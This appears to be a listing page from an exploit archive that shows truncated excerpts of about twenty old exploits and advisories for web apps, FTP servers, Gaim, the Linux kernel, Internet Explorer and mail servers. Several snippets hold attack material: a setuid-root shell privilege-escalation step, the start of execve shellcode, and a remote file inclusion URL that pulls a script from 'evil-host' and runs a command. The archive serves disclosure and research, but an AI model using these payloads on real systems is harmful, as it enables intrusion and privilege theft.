SQL injection & XSS in phpoutsourcing Noah's classifieds

Software: phpoutsourcing Noah's classifieds Vendor: http://classifieds.phpoutsourcing.com/ Version: all versions Bug: SQL injection & XSS Exploitation: Remote with browser ------------------------------------------------------------------------------------- Introduction: Noah' Classifieds is a...

WhitSoft Development SlimFTPd 3.17 - Remote Denial of Service

WhitSoft Development SlimFTPd 3.17 - Remote Denial of Service // source: https://www.securityfocus.com/bid/14723/info SlimFTPd is prone to a remote denial of service vulnerability. This issue is due to a failure in the application to handle exceptional conditions. The problem presents itself duri...

Gaim 1.2.1 - URL Handling Remote Stack Overflow

Gaim 1.2.1 - URL Handling Remote Stack Overflow // Written by Ron // Friday, May 13, 2005 // // This is a very weak demonstration of Gaim 1.2.1's stack overflow vulnerability // when processing email addresses. What this basically does is segfault you when you // do a /vuln command in a...

Hosting Controller 0.6.1 - User Registration (1)

Domain: Username: INPUT type="hidden" name="choice" value="1"...

BakBone NetVault 6.x/7.x Remote Heap Buffer Overflow Exploit (2)

Exploit for unknown platform in category remote exploits ================================================================ BakBone NetVault 6.x/7.x Remote Heap Buffer Overflow Exploit 2 ================================================================ / for more informations...

AWStats 6.4 - Denial of Service

AWStats 6.4 - Denial of Service !/usr/bin/perl Summarized the advisory www.ghc.ru GHC: /str0ke 0 Exploitable example raw log plugin: Attacker can read sensitive information http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog 1 Perl code execution. This script...

DelphiTurk FTP v1.0 Passwords to Local Users Exploit

No description provided by source. / DelphiTurk FTP v1.0 Local Exploit by Kozan Application: DelphiTurk FTP v1.0 Procuder: Delphiturk.com and Delphikitabi.com Vulnerable Description: DelphiTurk FTP v1.0 passwords to local users. Coded by: Kozan Web : www.netmagister.com Web2: www.spyinstructors.c...

-= Unl0ck Team Security Advisory =-

-= Unl0ck Team Security Advisory =- | | | | | | / | | / | | / / / | |/ / | |/ / | | / | | / | | | / / | Y Y |/|| // / | || /|| / / / / / / / / ... the best way of protection is attack http://unl0ck.void.ru Advisory : 10 by unl0ck team Product : WinRAR = 3.41 Vendor : http://rarlabs.com Date :...

Linux Kernel <= 2.6.9 <= 2.4.28 vc_resize int Local Overflow Exploit

No description provided by source. / vcresize int overflow Copyright Georgi Guninski Cannot be used in vulnerability databases / include stdio.h include stdlib.h include sys/types.h include sys/stat.h include fcntl.h include linux/vt.h include sys/vt.h include sys/ioctl.h include string.h include...

ie6-file-detection.txt

Affected Software : Microsoft Internet Explorer Vulnerability : Local File Detection Tested On : MS IE 6.0 SP1, Win2K SP4, up-to-date according to windowsupdate.com Discovered by : Gregory R. Panakkal Overview ======== This security vulnerability in Internet Explorer allows remote attackers to...

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation (Bash)

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation Bash Proof of concept: haven: fintler$ cd haven: fintler$ id uid=502fintler gid=500fintler groups=500fintler haven: fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" productname.sh haven:...

MS Internet Explorer 6.0 SP2 File Download Security Warning Bypass

Exploit for unknown platform in category remote exploits ================================================================== MS Internet Explorer 6.0 SP2 File Download Security Warning Bypass ================================================================== Orginal Advisory and exploit by...

linux/x86 execve code 23 bytes

linux/x86 execve code 23 bytes. Shellcode exploit for linx86 platform / Linux 23 byte execve code. Greetz to preedator marcetam admin at marcetam.net / char linux= "\x99" / cdq / "\x52" / push %edx / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f / "\x68\x2f\x62\x69\x6e" / push $0x6e69622f / "\x89\xe3...

Master of Orion III <= 1.2.5 Denial of Service Exploit

No description provided by source. / by Luigi Auriemma / include stdio.h include stdlib.h include string.h ifdef WIN32 include winsock.h / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include string.h include errno.h...

libxml 2.6.12 nanoftp - Local Buffer Overflow

libxml 2.6.12 nanoftp - Local Buffer Overflow / libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom n00b localho outernet gcc -Wall libsuxml.c -lxml2 n00b localho outernet ./a.out Usage: ./a.out align n00b localho outernet netstat -ant | grep 7000 n00b localho outernet ./a.out 0xbfff0360...

MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================= MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow Exploit ========================================================= MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow Advanced, secure...

libxml 2.6.12 nanoftp Remote Buffer Overflow Proof of Concept Exploit

Exploit for linux platform in category local exploits ===================================================================== libxml 2.6.12 nanoftp Remote Buffer Overflow Proof of Concept Exploit ===================================================================== / libxml 2.6.12 nanoftp bof POC...

Microsoft cabarc directory traversal

Description: Cabarc is a command line tool to create and extract cabinet files .cab it is included in the Windows Support Tools package It is subject to a directory traversal bug similar to those found in unzip, unarj etc.. Technical Details: ..file fails ../file defeats the protection...

ocPortal 1.0.3 - Remote File Inclusion

http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. Example of funcs.php if your host support php. '; ? http://localhost/ocp-103/index.php?reqpath=http://evil-host/&com=ls milw0rm.com...

MDaemon 6.5.1 IMAP/SMTP Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ====================================================== MDaemon 6.5.1 IMAP/SMTP Remote Buffer Overflow Exploit ====================================================== ///////////////////////////////////////////////////////////// // Remote...